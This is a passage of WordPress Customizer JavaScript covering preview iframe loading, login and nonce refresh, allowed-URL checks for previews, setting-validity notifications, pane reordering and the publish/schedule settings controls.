			previewFrame.bind( 'ready', previewFrame._ready );

			urlParser = document.createElement( 'a' );
			urlParser.href = previewFrame.previewUrl();

			params = _.extend(
				api.utils.parseQueryString( urlParser.search.substr( 1 ) ),
				{
					customize_changeset_uuid: previewFrame.query.customize_changeset_uuid,
					customize_theme: previewFrame.query.customize_theme,
					customize_messenger_channel: previewFrame.query.customize_messenger_channel
				}
			);
			if ( api.settings.changeset.autosaved || ! api.state( 'saved' ).get() ) {
				params.customize_autosaved = 'on';
			}

			urlParser.search = $.param( params );
			previewFrame.iframe = $( '<iframe />', {
				title: api.l10n.previewIframeTitle,
				name: 'customize-' + previewFrame.channel()
			} );
			previewFrame.iframe.attr( 'onmousewheel', '' ); // Workaround for Safari bug. See WP Trac #38149.
			previewFrame.iframe.attr( 'sandbox', 'allow-forms allow-modals allow-orientation-lock allow-pointer-lock allow-popups allow-popups-to-escape-sandbox allow-presentation allow-same-origin allow-scripts' );

			if ( ! hasPendingChangesetUpdate ) {
				previewFrame.iframe.attr( 'src', urlParser.href );
			} else {
				previewFrame.iframe.attr( 'data-src', urlParser.href ); // For debugging purposes.
			}

			previewFrame.iframe.appendTo( previewFrame.container );
			previewFrame.targetWindow( previewFrame.iframe[0].contentWindow );

			/*
			 * Submit customized data in POST request to preview frame window since
			 * there are setting value changes not yet written to changeset.
			 */
			if ( hasPendingChangesetUpdate ) {
				form = $( '<form>', {
					action: urlParser.href,
					target: previewFrame.iframe.attr( 'name' ),
					method: 'post',
					hidden: 'hidden'
				} );
				form.append( $( '<input>', {
					type: 'hidden',
					name: '_method',
					value: 'GET'
				} ) );
				_.each( previewFrame.query, function( value, key ) {
					form.append( $( '<input>', {
						type: 'hidden',
						name: key,
						value: value
					} ) );
				} );
				previewFrame.container.append( form );
				form.trigger( 'submit' );
				form.remove(); // No need to keep the form around after submitted.
			}

			previewFrame.bind( 'iframe-loading-error', function( error ) {
				previewFrame.iframe.remove();

				// Check if the user is not logged in.
				if ( 0 === error ) {
					previewFrame.login( deferred );
					return;
				}

				// Check for cheaters.
				if ( -1 === error ) {
					deferred.rejectWith( previewFrame, [ 'cheatin' ] );
					return;
				}

				deferred.rejectWith( previewFrame, [ 'request failure' ] );
			} );

			previewFrame.iframe.one( 'load', function() {
				loaded = true;

				if ( ready ) {
					deferred.resolveWith( previewFrame, [ readyData ] );
				} else {
					setTimeout( function() {
						deferred.rejectWith( previewFrame, [ 'ready timeout' ] );
					}, previewFrame.sensitivity );
				}
			});
		},

		login: function( deferred ) {
			var self = this,
				reject;

			reject = function() {
				deferred.rejectWith( self, [ 'logged out' ] );
			};

			if ( this.triedLogin ) {
				return reject();
			}

			// Check if we have an admin cookie.
			$.get( api.settings.url.ajax, {
				action: 'logged-in'
			}).fail( reject ).done( function( response ) {
				var iframe;

				if ( '1' !== response ) {
					reject();
				}

				iframe = $( '<iframe />', { 'src': self.previewUrl(), 'title': api.l10n.previewIframeTitle } ).hide();
				iframe.appendTo( self.container );
				iframe.on( 'load', function() {
					self.triedLogin = true;

					iframe.remove();
					self.run( deferred );
				});
			});
		},

		destroy: function() {
			api.Messenger.prototype.destroy.call( this );

			if ( this.iframe ) {
				this.iframe.remove();
			}

			delete this.iframe;
			delete this.targetWindow;
		}
	});

	(function(){
		var id = 0;
		/**
		 * Return an incremented ID for a preview messenger channel.
		 *
		 * This function is named "uuid" for historical reasons, but it is a
		 * misnomer as it is not an actual UUID, and it is not universally unique.
		 * This is not to be confused with `api.settings.changeset.uuid`.
		 *
		 * @return {string}
		 */
		api.PreviewFrame.uuid = function() {
			return 'preview-' + String( id++ );
		};
	}());

	/**
	 * Set the document title of the customizer.
	 *
	 * @alias wp.customize.setDocumentTitle
	 *
	 * @since 4.1.0
	 *
	 * @param {string} documentTitle
	 */
	api.setDocumentTitle = function ( documentTitle ) {
		var tmpl, title;
		tmpl = api.settings.documentTitleTmpl;
		title = tmpl.replace( '%s', documentTitle );
		document.title = title;
		api.trigger( 'title', title );
	};

	api.Previewer = api.Messenger.extend(/** @lends wp.customize.Previewer.prototype */{
		refreshBuffer: null, // Will get set to api.settings.timeouts.windowRefresh.

		/**
		 * @constructs wp.customize.Previewer
		 * @augments   wp.customize.Messenger
		 *
		 * @param {Array}  params.allowedUrls
		 * @param {string} params.container   A selector or jQuery element for the preview
		 *                                    frame to be placed.
		 * @param {string} params.form
		 * @param {string} params.previewUrl  The URL to preview.
		 * @param {Object} options
		 */
		initialize: function( params, options ) {
			var previewer = this,
				urlParser = document.createElement( 'a' );

			$.extend( previewer, options || {} );
			previewer.deferred = {
				active: $.Deferred()
			};

			// Debounce to prevent hammering server and then wait for any pending update requests.
			previewer.refresh = _.debounce(
				( function( originalRefresh ) {
					return function() {
						var isProcessingComplete, refreshOnceProcessingComplete;
						isProcessingComplete = function() {
							return 0 === api.state( 'processing' ).get();
						};
						if ( isProcessingComplete() ) {
							originalRefresh.call( previewer );
						} else {
							refreshOnceProcessingComplete = function() {
								if ( isProcessingComplete() ) {
									originalRefresh.call( previewer );
									api.state( 'processing' ).unbind( refreshOnceProcessingComplete );
								}
							};
							api.state( 'processing' ).bind( refreshOnceProcessingComplete );
						}
					};
				}( previewer.refresh ) ),
				previewer.refreshBuffer
			);

			previewer.container   = api.ensure( params.container );
			previewer.allowedUrls = params.allowedUrls;

			params.url = window.location.href;

			api.Messenger.prototype.initialize.call( previewer, params );

			urlParser.href = previewer.origin();
			previewer.add( 'scheme', urlParser.protocol.replace( /:$/, '' ) );

			/*
			 * Limit the URL to internal, front-end links.
			 *
			 * If the front end and the admin are served from the same domain, load the
			 * preview over ssl if the Customizer is being loaded over ssl. This avoids
			 * insecure content warnings. This is not attempted if the admin and front end
			 * are on different domains to avoid the case where the front end doesn't have
			 * ssl certs.
			 */

			previewer.add( 'previewUrl', params.previewUrl ).setter( function( to ) {
				var result = null, urlParser, queryParams, parsedAllowedUrl, parsedCandidateUrls = [];
				urlParser = document.createElement( 'a' );
				urlParser.href = to;

				// Abort if URL is for admin or (static) files in wp-includes or wp-content.
				if ( /\/wp-(admin|includes|content)(\/|$)/.test( urlParser.pathname ) ) {
					return null;
				}

				// Remove state query params.
				if ( urlParser.search.length > 1 ) {
					queryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
					delete queryParams.customize_changeset_uuid;
					delete queryParams.customize_theme;
					delete queryParams.customize_messenger_channel;
					delete queryParams.customize_autosaved;
					if ( _.isEmpty( queryParams ) ) {
						urlParser.search = '';
					} else {
						urlParser.search = $.param( queryParams );
					}
				}

				parsedCandidateUrls.push( urlParser );

				// Prepend list with URL that matches the scheme/protocol of the iframe.
				if ( previewer.scheme.get() + ':' !== urlParser.protocol ) {
					urlParser = document.createElement( 'a' );
					urlParser.href = parsedCandidateUrls[0].href;
					urlParser.protocol = previewer.scheme.get() + ':';
					parsedCandidateUrls.unshift( urlParser );
				}

				// Attempt to match the URL to the control frame's scheme and check if it's allowed. If not, try the original URL.
				parsedAllowedUrl = document.createElement( 'a' );
				_.find( parsedCandidateUrls, function( parsedCandidateUrl ) {
					return ! _.isUndefined( _.find( previewer.allowedUrls, function( allowedUrl ) {
						parsedAllowedUrl.href = allowedUrl;
						if ( urlParser.protocol === parsedAllowedUrl.protocol && urlParser.host === parsedAllowedUrl.host && 0 === urlParser.pathname.indexOf( parsedAllowedUrl.pathname.replace( /\/$/, '' ) ) ) {
							result = parsedCandidateUrl.href;
							return true;
						}
					} ) );
				} );

				return result;
			});

			previewer.bind( 'ready', previewer.ready );

			// Start listening for keep-alive messages when iframe first loads.
			previewer.deferred.active.done( _.bind( previewer.keepPreviewAlive, previewer ) );

			previewer.bind( 'synced', function() {
				previewer.send( 'active' );
			} );

			// Refresh the preview when the URL is changed (but not yet).
			previewer.previewUrl.bind( previewer.refresh );

			previewer.scroll = 0;
			previewer.bind( 'scroll', function( distance ) {
				previewer.scroll = distance;
			});

			// Update the URL when the iframe sends a URL message, resetting scroll position. If URL is unchanged, then refresh.
			previewer.bind( 'url', function( url ) {
				var onUrlChange, urlChanged = false;
				previewer.scroll = 0;
				onUrlChange = function() {
					urlChanged = true;
				};
				previewer.previewUrl.bind( onUrlChange );
				previewer.previewUrl.set( url );
				previewer.previewUrl.unbind( onUrlChange );
				if ( ! urlChanged ) {
					previewer.refresh();
				}
			} );

			// Update the document title when the preview changes.
			previewer.bind( 'documentTitle', function ( title ) {
				api.setDocumentTitle( title );
			} );
		},

		/**
		 * Handle the preview receiving the ready message.
		 *
		 * @since 4.7.0
		 * @access public
		 *
		 * @param {Object} data - Data from preview.
		 * @param {string} data.currentUrl - Current URL.
		 * @param {Object} data.activePanels - Active panels.
		 * @param {Object} data.activeSections Active sections.
		 * @param {Object} data.activeControls Active controls.
		 * @return {void}
		 */
		ready: function( data ) {
			var previewer = this, synced = {}, constructs;

			synced.settings = api.get();
			synced['settings-modified-while-loading'] = previewer.settingsModifiedWhileLoading;
			if ( 'resolved' !== previewer.deferred.active.state() || previewer.loading ) {
				synced.scroll = previewer.scroll;
			}
			synced['edit-shortcut-visibility'] = api.state( 'editShortcutVisibility' ).get();
			previewer.send( 'sync', synced );

			// Set the previewUrl without causing the url to set the iframe.
			if ( data.currentUrl ) {
				previewer.previewUrl.unbind( previewer.refresh );
				previewer.previewUrl.set( data.currentUrl );
				previewer.previewUrl.bind( previewer.refresh );
			}

			/*
			 * Walk over all panels, sections, and controls and set their
			 * respective active states to true if the preview explicitly
			 * indicates as such.
			 */
			constructs = {
				panel: data.activePanels,
				section: data.activeSections,
				control: data.activeControls
			};
			_( constructs ).each( function ( activeConstructs, type ) {
				api[ type ].each( function ( construct, id ) {
					var isDynamicallyCreated = _.isUndefined( api.settings[ type + 's' ][ id ] );

					/*
					 * If the construct was created statically in PHP (not dynamically in JS)
					 * then consider a missing (undefined) value in the activeConstructs to
					 * mean it should be deactivated (since it is gone). But if it is
					 * dynamically created then only toggle activation if the value is defined,
					 * as this means that the construct was also then correspondingly
					 * created statically in PHP and the active callback is available.
					 * Otherwise, dynamically-created constructs should normally have
					 * their active states toggled in JS rather than from PHP.
					 */
					if ( ! isDynamicallyCreated || ! _.isUndefined( activeConstructs[ id ] ) ) {
						if ( activeConstructs[ id ] ) {
							construct.activate();
						} else {
							construct.deactivate();
						}
					}
				} );
			} );

			if ( data.settingValidities ) {
				api._handleSettingValidities( {
					settingValidities: data.settingValidities,
					focusInvalidControl: false
				} );
			}
		},

		/**
		 * Keep the preview alive by listening for ready and keep-alive messages.
		 *
		 * If a message is not received in the allotted time then the iframe will be set back to the last known valid URL.
		 *
		 * @since 4.7.0
		 * @access public
		 *
		 * @return {void}
		 */
		keepPreviewAlive: function keepPreviewAlive() {
			var previewer = this, keepAliveTick, timeoutId, handleMissingKeepAlive, scheduleKeepAliveCheck;

			/**
			 * Schedule a preview keep-alive check.
			 *
			 * Note that if a page load takes longer than keepAliveCheck milliseconds,
			 * the keep-alive messages will still be getting sent from the previous
			 * URL.
			 */
			scheduleKeepAliveCheck = function() {
				timeoutId = setTimeout( handleMissingKeepAlive, api.settings.timeouts.keepAliveCheck );
			};

			/**
			 * Set the previewerAlive state to true when receiving a message from the preview.
			 */
			keepAliveTick = function() {
				api.state( 'previewerAlive' ).set( true );
				clearTimeout( timeoutId );
				scheduleKeepAliveCheck();
			};

			/**
			 * Set the previewerAlive state to false if keepAliveCheck milliseconds have transpired without a message.
			 *
			 * This is most likely to happen in the case of a connectivity error, or if the theme causes the browser
			 * to navigate to a non-allowed URL. Setting this state to false will force settings with a postMessage
			 * transport to use refresh instead, causing the preview frame also to be replaced with the current
			 * allowed preview URL.
			 */
			handleMissingKeepAlive = function() {
				api.state( 'previewerAlive' ).set( false );
			};
			scheduleKeepAliveCheck();

			previewer.bind( 'ready', keepAliveTick );
			previewer.bind( 'keep-alive', keepAliveTick );
		},

		/**
		 * Query string data sent with each preview request.
		 *
		 * @abstract
		 */
		query: function() {},

		abort: function() {
			if ( this.loading ) {
				this.loading.destroy();
				delete this.loading;
			}
		},

		/**
		 * Refresh the preview seamlessly.
		 *
		 * @since 3.4.0
		 * @access public
		 *
		 * @return {void}
		 */
		refresh: function() {
			var previewer = this, onSettingChange;

			// Display loading indicator.
			previewer.send( 'loading-initiated' );

			previewer.abort();

			previewer.loading = new api.PreviewFrame({
				url:        previewer.url(),
				previewUrl: previewer.previewUrl(),
				query:      previewer.query( { excludeCustomizedSaved: true } ) || {},
				container:  previewer.container
			});

			previewer.settingsModifiedWhileLoading = {};
			onSettingChange = function( setting ) {
				previewer.settingsModifiedWhileLoading[ setting.id ] = true;
			};
			api.bind( 'change', onSettingChange );
			previewer.loading.always( function() {
				api.unbind( 'change', onSettingChange );
			} );

			previewer.loading.done( function( readyData ) {
				var loadingFrame = this, onceSynced;

				previewer.preview = loadingFrame;
				previewer.targetWindow( loadingFrame.targetWindow() );
				previewer.channel( loadingFrame.channel() );

				onceSynced = function() {
					loadingFrame.unbind( 'synced', onceSynced );
					if ( previewer._previousPreview ) {
						previewer._previousPreview.destroy();
					}
					previewer._previousPreview = previewer.preview;
					previewer.deferred.active.resolve();
					delete previewer.loading;
				};
				loadingFrame.bind( 'synced', onceSynced );

				// This event will be received directly by the previewer in normal navigation; this is only needed for seamless refresh.
				previewer.trigger( 'ready', readyData );
			});

			previewer.loading.fail( function( reason ) {
				previewer.send( 'loading-failed' );

				if ( 'logged out' === reason ) {
					if ( previewer.preview ) {
						previewer.preview.destroy();
						delete previewer.preview;
					}

					previewer.login().done( previewer.refresh );
				}

				if ( 'cheatin' === reason ) {
					previewer.cheatin();
				}
			});
		},

		login: function() {
			var previewer = this,
				deferred, messenger, iframe;

			if ( this._login ) {
				return this._login;
			}

			deferred = $.Deferred();
			this._login = deferred.promise();

			messenger = new api.Messenger({
				channel: 'login',
				url:     api.settings.url.login
			});

			iframe = $( '<iframe />', { 'src': api.settings.url.login, 'title': api.l10n.loginIframeTitle } ).appendTo( this.container );

			messenger.targetWindow( iframe[0].contentWindow );

			messenger.bind( 'login', function () {
				var refreshNonces = previewer.refreshNonces();

				refreshNonces.always( function() {
					iframe.remove();
					messenger.destroy();
					delete previewer._login;
				});

				refreshNonces.done( function() {
					deferred.resolve();
				});

				refreshNonces.fail( function() {
					previewer.cheatin();
					deferred.reject();
				});
			});

			return this._login;
		},

		cheatin: function() {
			$( document.body ).empty().addClass( 'cheatin' ).append(
				'<h1>' + api.l10n.notAllowedHeading + '</h1>' +
				'<p>' + api.l10n.notAllowed + '</p>'
			);
		},

		refreshNonces: function() {
			var request, deferred = $.Deferred();

			deferred.promise();

			request = wp.ajax.post( 'customize_refresh_nonces', {
				wp_customize: 'on',
				customize_theme: api.settings.theme.stylesheet
			});

			request.done( function( response ) {
				api.trigger( 'nonce-refresh', response );
				deferred.resolve();
			});

			request.fail( function() {
				deferred.reject();
			});

			return deferred;
		}
	});

	api.settingConstructor = {};
	api.controlConstructor = {
		color:               api.ColorControl,
		media:               api.MediaControl,
		upload:              api.UploadControl,
		image:               api.ImageControl,
		cropped_image:       api.CroppedImageControl,
		site_icon:           api.SiteIconControl,
		header:              api.HeaderControl,
		background:          api.BackgroundControl,
		background_position: api.BackgroundPositionControl,
		theme:               api.ThemeControl,
		date_time:           api.DateTimeControl,
		code_editor:         api.CodeEditorControl
	};
	api.panelConstructor = {
		themes: api.ThemesPanel
	};
	api.sectionConstructor = {
		themes: api.ThemesSection,
		outer: api.OuterSection
	};

	/**
	 * Handle setting_validities in an error response for the customize-save request.
	 *
	 * Add notifications to the settings and focus on the first control that has an invalid setting.
	 *
	 * @alias wp.customize._handleSettingValidities
	 *
	 * @since 4.6.0
	 * @private
	 *
	 * @param {Object}  args
	 * @param {Object}  args.settingValidities
	 * @param {boolean} [args.focusInvalidControl=false]
	 * @return {void}
	 */
	api._handleSettingValidities = function handleSettingValidities( args ) {
		var invalidSettingControls, invalidSettings = [], wasFocused = false;

		// Find the controls that correspond to each invalid setting.
		_.each( args.settingValidities, function( validity, settingId ) {
			var setting = api( settingId );
			if ( setting ) {

				// Add notifications for invalidities.
				if ( _.isObject( validity ) ) {
					_.each( validity, function( params, code ) {
						var notification, existingNotification, needsReplacement = false;
						notification = new api.Notification( code, _.extend( { fromServer: true }, params ) );

						// Remove existing notification if already exists for code but differs in parameters.
						existingNotification = setting.notifications( notification.code );
						if ( existingNotification ) {
							needsReplacement = notification.type !== existingNotification.type || notification.message !== existingNotification.message || ! _.isEqual( notification.data, existingNotification.data );
						}
						if ( needsReplacement ) {
							setting.notifications.remove( code );
						}

						if ( ! setting.notifications.has( notification.code ) ) {
							setting.notifications.add( notification );
						}
						invalidSettings.push( setting.id );
					} );
				}

				// Remove notification errors that are no longer valid.
				setting.notifications.each( function( notification ) {
					if ( notification.fromServer && 'error' === notification.type && ( true === validity || ! validity[ notification.code ] ) ) {
						setting.notifications.remove( notification.code );
					}
				} );
			}
		} );

		if ( args.focusInvalidControl ) {
			invalidSettingControls = api.findControlsForSettings( invalidSettings );

			// Focus on the first control that is inside of an expanded section (one that is visible).
			_( _.values( invalidSettingControls ) ).find( function( controls ) {
				return _( controls ).find( function( control ) {
					var isExpanded = control.section() && api.section.has( control.section() ) && api.section( control.section() ).expanded();
					if ( isExpanded && control.expanded ) {
						isExpanded = control.expanded();
					}
					if ( isExpanded ) {
						control.focus();
						wasFocused = true;
					}
					return wasFocused;
				} );
			} );

			// Focus on the first invalid control.
			if ( ! wasFocused && ! _.isEmpty( invalidSettingControls ) ) {
				_.values( invalidSettingControls )[0][0].focus();
			}
		}
	};

	/**
	 * Find all controls associated with the given settings.
	 *
	 * @alias wp.customize.findControlsForSettings
	 *
	 * @since 4.6.0
	 * @param {string[]} settingIds Setting IDs.
	 * @return {Object<string, wp.customize.Control>} Mapping setting ids to arrays of controls.
	 */
	api.findControlsForSettings = function findControlsForSettings( settingIds ) {
		var controls = {}, settingControls;
		_.each( _.unique( settingIds ), function( settingId ) {
			var setting = api( settingId );
			if ( setting ) {
				settingControls = setting.findControls();
				if ( settingControls && settingControls.length > 0 ) {
					controls[ settingId ] = settingControls;
				}
			}
		} );
		return controls;
	};

	/**
	 * Sort panels, sections, controls by priorities. Hide empty sections and panels.
	 *
	 * @alias wp.customize.reflowPaneContents
	 *
	 * @since 4.1.0
	 */
	api.reflowPaneContents = _.bind( function () {

		var appendContainer, activeElement, rootHeadContainers, rootNodes = [], wasReflowed = false;

		if ( document.activeElement ) {
			activeElement = $( document.activeElement );
		}

		// Sort the sections within each panel.
		api.panel.each( function ( panel ) {
			if ( 'themes' === panel.id ) {
				return; // Don't reflow theme sections, as doing so moves them after the themes container.
			}

			var sections = panel.sections(),
				sectionHeadContainers = _.pluck( sections, 'headContainer' );
			rootNodes.push( panel );
			appendContainer = ( panel.contentContainer.is( 'ul' ) ) ? panel.contentContainer : panel.contentContainer.find( 'ul:first' );
			if ( ! api.utils.areElementListsEqual( sectionHeadContainers, appendContainer.children( '[id]' ) ) ) {
				_( sections ).each( function ( section ) {
					appendContainer.append( section.headContainer );
				} );
				wasReflowed = true;
			}
		} );

		// Sort the controls within each section.
		api.section.each( function ( section ) {
			var controls = section.controls(),
				controlContainers = _.pluck( controls, 'container' );
			if ( ! section.panel() ) {
				rootNodes.push( section );
			}
			appendContainer = ( section.contentContainer.is( 'ul' ) ) ? section.contentContainer : section.contentContainer.find( 'ul:first' );
			if ( ! api.utils.areElementListsEqual( controlContainers, appendContainer.children( '[id]' ) ) ) {
				_( controls ).each( function ( control ) {
					appendContainer.append( control.container );
				} );
				wasReflowed = true;
			}
		} );

		// Sort the root panels and sections.
		rootNodes.sort( api.utils.prioritySort );
		rootHeadContainers = _.pluck( rootNodes, 'headContainer' );
		appendContainer = $( '#customize-theme-controls .customize-pane-parent' ); // @todo This should be defined elsewhere, and to be configurable.
		if ( ! api.utils.areElementListsEqual( rootHeadContainers, appendContainer.children() ) ) {
			_( rootNodes ).each( function ( rootNode ) {
				appendContainer.append( rootNode.headContainer );
			} );
			wasReflowed = true;
		}

		// Now re-trigger the active Value callbacks so that the panels and sections can decide whether they can be rendered.
		api.panel.each( function ( panel ) {
			var value = panel.active();
			panel.active.callbacks.fireWith( panel.active, [ value, value ] );
		} );
		api.section.each( function ( section ) {
			var value = section.active();
			section.active.callbacks.fireWith( section.active, [ value, value ] );
		} );

		// Restore focus if there was a reflow and there was an active (focused) element.
		if ( wasReflowed && activeElement ) {
			activeElement.trigger( 'focus' );
		}
		api.trigger( 'pane-contents-reflowed' );
	}, api );

	// Define state values.
	api.state = new api.Values();
	_.each( [
		'saved',
		'saving',
		'trashing',
		'activated',
		'processing',
		'paneVisible',
		'expandedPanel',
		'expandedSection',
		'changesetDate',
		'selectedChangesetDate',
		'changesetStatus',
		'selectedChangesetStatus',
		'remainingTimeToPublish',
		'previewerAlive',
		'editShortcutVisibility',
		'changesetLocked',
		'previewedDevice'
	], function( name ) {
		api.state.create( name );
	});

	$( function() {
		api.settings = window._wpCustomizeSettings;
		api.l10n = window._wpCustomizeControlsL10n;

		// Check if we can run the Customizer.
		if ( ! api.settings ) {
			return;
		}

		// Bail if any incompatibilities are found.
		if ( ! $.support.postMessage || ( ! $.support.cors && api.settings.isCrossDomain ) ) {
			return;
		}

		if ( null === api.PreviewFrame.prototype.sensitivity ) {
			api.PreviewFrame.prototype.sensitivity = api.settings.timeouts.previewFrameSensitivity;
		}
		if ( null === api.Previewer.prototype.refreshBuffer ) {
			api.Previewer.prototype.refreshBuffer = api.settings.timeouts.windowRefresh;
		}

		var parent,
			body = $( document.body ),
			overlay = body.children( '.wp-full-overlay' ),
			title = $( '#customize-info .panel-title.site-title' ),
			closeBtn = $( '.customize-controls-close' ),
			saveBtn = $( '#save' ),
			btnWrapper = $( '#customize-save-button-wrapper' ),
			publishSettingsBtn = $( '#publish-settings' ),
			footerActions = $( '#customize-footer-actions' );

		// Add publish settings section in JS instead of PHP since the Customizer depends on it to function.
		api.bind( 'ready', function() {
			api.section.add( new api.OuterSection( 'publish_settings', {
				title: api.l10n.publishSettings,
				priority: 0,
				active: api.settings.theme.active
			} ) );
		} );

		// Set up publish settings section and its controls.
		api.section( 'publish_settings', function( section ) {
			var updateButtonsState, trashControl, updateSectionActive, isSectionActive, statusControl, dateControl, toggleDateControl, publishWhenTime, pollInterval, updateTimeArrivedPoller, cancelScheduleButtonReminder, timeArrivedPollingInterval = 1000;

			trashControl = new api.Control( 'trash_changeset', {
				type: 'button',
				section: section.id,
				priority: 30,
				input_attrs: {
					'class': 'button-link button-link-delete',
					value: api.l10n.discardChanges
				}
			} );
			api.control.add( trashControl );
			trashControl.deferred.embedded.done( function() {
				trashControl.container.find( '.button-link' ).on( 'click', function() {
					if ( confirm( api.l10n.trashConfirm ) ) {
						wp.customize.previewer.trash();
					}
				} );
			} );

			api.control.add( new api.PreviewLinkControl( 'changeset_preview_link', {
				section: section.id,
				priority: 100
			} ) );

			/**
			 * Return whether the pubish settings section should be active.
			 *
			 * @return {boolean} Is section active.
			 */
			isSectionActive = function() {
				if ( ! api.state( 'activated' ).get() ) {
					return false;
				}
				if ( api.state( 'trashing' ).get() || 'trash' === api.state( 'changesetStatus' ).get() ) {
					return false;
				}
				if ( '' === api.state( 'changesetStatus' ).get() && api.state( 'saved' ).get() ) {
					return false;
				}
				return true;
			};

			// Make sure publish settings are not available while the theme is not active and the customizer is in a published state.
			section.active.validate = isSectionActive;
			updateSectionActive = function() {
				section.active.set( isSectionActive() );
			};
			api.state( 'activated' ).bind( updateSectionActive );
			api.state( 'trashing' ).bind( updateSectionActive );
			api.state( 'saved' ).bind( updateSectionActive );
			api.state( 'changesetStatus' ).bind( updateSectionActive );
			updateSectionActive();

			// Bind visibility of the publish settings button to whether the section is active.
			updateButtonsState = function() {
				publishSettingsBtn.toggle( section.active.get() );
				saveBtn.toggleClass( 'has-next-sibling', section.active.get() );
			};
			updateButtonsState();
			section.active.bind( updateButtonsState );

			function highlightScheduleButton() {
				if ( ! cancelScheduleButtonReminder ) {
					cancelScheduleButtonReminder = api.utils.highlightButton( btnWrapper, {
						delay: 1000,

						/*
						 * Only abort the reminder when the save button is focused.
						 * If the user clicks the settings button to toggle the
						 * settings closed, we'll still remind them.
						 */
						focusTarget: saveBtn
					} );
				}
			}
			function cancelHighlightScheduleButton() {
				if ( cancelScheduleButtonReminder ) {
					cancelScheduleButtonReminder();
					cancelScheduleButtonReminder = null;
				}
			}
			api.state( 'selectedChangesetStatus' ).bind( cancelHighlightScheduleButton );

			section.contentContainer.find( '.customize-action' ).text( api.l10n.updating );
			section.contentContainer.find( '.customize-section-back' ).removeAttr( 'tabindex' );
			publishSettingsBtn.prop( 'disabled', false );

			publishSettingsBtn.on( 'click', function( event ) {
				event.preventDefault();
				section.expanded.set( ! section.expanded.get() );
			} );

			section.expanded.bind( function( isExpanded ) {
				var defaultChangesetStatus;
				publishSettingsBtn.attr( 'aria-expanded', String( isExpanded ) );
				publishSettingsBtn.toggleClass( 'active', isExpanded );

				if ( isExpanded ) {
					cancelHighlightScheduleButton();
					return;
				}

				defaultChangesetStatus = api.state( 'changesetStatus' ).get();
				if ( '' === defaultChangesetStatus || 'auto-draft' === defaultChangesetStatus ) {
					defaultChangesetStatus = 'publish';
				}

				if ( api.state( 'selectedChangesetStatus' ).get() !== defaultChangesetStatus ) {
					highlightScheduleButton();
				} else if ( 'future' === api.state( 'selectedChangesetStatus' ).get() && api.state( 'selectedChangesetDate' ).get() !== api.state( 'changesetDate' ).get() ) {
					highlightScheduleButton();
				}
			} );

			statusControl = new api.Control( 'changeset_status', {
				priority: 10,
				type: 'radio',
				section: 'publish_settings',
				setting: api.state( 'selectedChangesetStatus' ),
				templateId: 'customize-selected-changeset-status-control',
				label: api.l10n.action,
				choices: api.settings.changeset.statusChoices
			} );
			api.control.add( statusControl );

			dateControl = new api.DateTimeControl( 'changeset_scheduled_date', {
				priority: 20,
				section: 'publish_settings',
				setting: api.state( 'selectedChangesetDate' ),
				minYear: ( new Date() ).getFullYear(),
				allowPastDate: false,
				includeTime: true,
				twelveHourFormat: /a/i.test( api.settings.timeFormat ),
				description: api.l10n.scheduleDescription
			} );
			dateControl.notifications.alt = true;
			api.control.add( dateControl );

			publishWhenTime = function() {
				api.state( 'selectedChangesetStatus' ).set( 'publish' );
				api.previewer.save();
			};

			// Start countdown for when the dateTime arrives, or clear interval when it is .
			updateTimeArrivedPoller = function() {
				var shouldPoll = (
					'future' === api.state( 'changesetStatus' ).get() &&
					'future' === api.state( 'selectedChangesetStatus' ).get() &&
					api.state( 'changesetDate' ).get() &&
					api.state( 'selectedChangesetDate' ).get() === api.state( 'changesetDate' ).get() &&
					api.utils.getRemainingTime( api.state( 'changesetDate' ).get() ) >= 0
				);

				if ( shouldPoll && ! pollInterval ) {
					pollInterval = setInterval( function() {
						var remainingTime = api.utils.getRemainingTime( api.state( 'changesetDate' ).get() );
						api.state( 'remainingTimeToPublish' ).set( remainingTime );
						if ( remainingTime <= 0 ) {
							clearInterval( pollInterval );
							pollInterval = 0;
							publishWhenTime();
						}
					}, timeArrivedPollingInterval );
				} else if ( ! shouldPoll && pollInterval ) {
					clearInterval( pollInterval );
					pollInterval = 0;
				}
			};

			api.state( 'changesetDate' ).bind( updateTimeArrivedPoller );
			api.state( 'selectedChangesetDate' ).bind( updateTimeArrivedPoller );
			api.state( 'changesetStatus' ).bind( updateTimeArrivedPoller );
			api.state( 'selectedChangesetStatus' ).bind( updateTimeArrivedPoller );
			updateTimeArrivedPoller();

			// Ensure dateControl only appears when selected status is future.
			dateControl.active.validate = function() {
				return 'future' === api.state( 'selectedChangesetStatus' ).get();
			};
			toggleDateControl = function( value ) {
				dateControl.active.set( 'future' === value );
			};
			toggleDateControl( api.state( 'selectedChangesetStatus' ).get() );
			api.state( 'selectedChangesetStatus' ).bind( toggleDateControl );

			// Show notification on date control when status is future but it isn't a future date.
			api.state( 'saving' ).bind( function( isSaving ) {
				if ( isSaving && 'future' === api.state( 'selectedChangesetStatus' ).get() ) {
					dateControl.toggleFutureDateNotification( ! dateControl.isFutureDate() );
				}
			} );
		} );

		// Prevent the form from saving when enter is pressed on an input or select element.
		$('#customize-controls').on( 'keydown', function( e ) {
			var isEnter = ( 13 === e.which ),
				$el = $( e.target );

			if ( isEnter && ( $el.is( 'input:not([type=button])' ) || $el.is( 'select' ) ) ) {
				e.preventDefault();
			}
		});

		// Expand/Collapse the main customizer customize info.
		$( '.customize-info' ).find( '> .accordion-section-title .customize-help-toggle' ).on( 'click', function() {
			var section = $( this ).closest( '.accordion-section' ),
				content = section.find( '.customize-panel-description:first' );

			if ( section.hasClass( 'cannot-expand' ) ) {
				return;
			}

			if ( section.hasClass( 'open' ) ) {
				section.toggleClass( 'open' );
				content.slideUp( api.Panel.prototype.defaultExpandedArguments.duration, function() {
					content.trigger( 'toggled' );
				} );
				$( this ).attr( 'aria-expanded', false );
			} else {
				content.slideDown( api.Panel.prototype.defaultExpandedArguments.duration, function() {
					content.trigger( 'toggled' );
				} );
				section.toggleClass( 'open' );
				$( this ).attr( 'aria-expanded', true );
			}
		});

		/**
		 * Initialize Previewer
		 *
		 * @alias wp.customize.previewer
		 */
		api.previewer = new api.Previewer({
			container:   '#customize-preview',
			form:        '#customize-controls',
			previewUrl:  api.settings.url.preview,
			allowedUrls: api.settings.url.allowed
		},/** @lends wp.customize.previewer */{

			nonce: api.settings.nonce,

			/**
			 * Build the query to send along with the Preview request.
			 *
			 * @since 3.4.0
			 * @since 4.7.0 Added options param.
			 * @access public
			 *
			 * @param {Object}  [options] Options.
			 * @param {boolean} [options.excludeCustomizedSaved=false] Exclude saved settings in customized response (values pending writing to changeset).
			 * @return {Object} Query vars.
			 */
			query: function( options ) {
				var queryVars = {
					wp_customize: 'on',
